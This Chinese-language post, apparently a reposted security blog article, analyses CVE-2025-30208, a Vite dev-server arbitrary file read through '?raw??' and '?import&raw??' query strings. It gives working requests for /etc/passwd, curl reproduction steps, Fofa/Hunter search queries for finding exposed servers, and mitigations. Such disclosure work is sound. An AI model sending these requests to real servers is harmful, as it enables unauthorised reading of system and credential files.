漏洞描述
CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 `/etc/passwd` 或 `C:windowswin.ini`)。
该漏洞主要影响以下版本的 Vite:
- 6.2.3 之前
- 6.1.2 之前
- 6.0.12 之前
- 5.4.15 之前
- 4.5.10 之前
Vite 开发服务器提供 `@fs` 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 `?raw??` 或 `?import&raw??` 等查询参数绕过访问限制,从而读取任意文件。
-
影响范围
此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序,即使用 `--host` 或 `server.host` 配置选项的情况。
-
详细分析
在 Vite 服务器的 URL 处理逻辑中,`@fs` 机制原本用于限制对非白名单目录的访问,例如:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??
由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 `server.fs.allow` 限制,并返回任意文件内容。
Fofa:
body="/@vite/client"
Hunter:
web.body="/@vite/client"
验证
启动 Vite 服务器:
npm create vite@latest
cd vite-project/
npm install
npm run dev
创建测试文件:
echo "top secret content" > /tmp/secret.txt
发送漏洞利用请求:
# 正常情况下被拒绝
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
# 绕过访问控制
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret contentn"
GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********
nuclei-验证脚本
通过网盘分享的文件:CVE-2025-30208.yaml
链接: https://pan.baidu.com/s/16hSpH7szUbjidG-5v9xrTw?pwd=i2hx 提取码: i2hx
如果无法立即升级,可以采取以下措施降低风险:
1. 限制对 Vite 开发服务器的访问
- 仅允许本地访问,不对外开放。
- 通过 `firewall` 或 `nginx` 进行访问控制。
2. 使用 `server.fs.deny` 选项显式禁止访问敏感文件
server: {
fs: {
deny: ["/etc/passwd", "/windows/win.ini"]
}
}
3. 启用身份验证:通过`HTTP Basic Auth`或 `JWT` 保护开发服务器。
Vite 官方已在以下版本修复了该漏洞:
- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10
免责声明
本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者及公众号概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!
你若喜欢,点个关注
听说点“在看”福旺财更旺!
原文始发于微信公众号(摘星怪sec):【CVE-2025-30208】| Vite-漏洞分析与复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论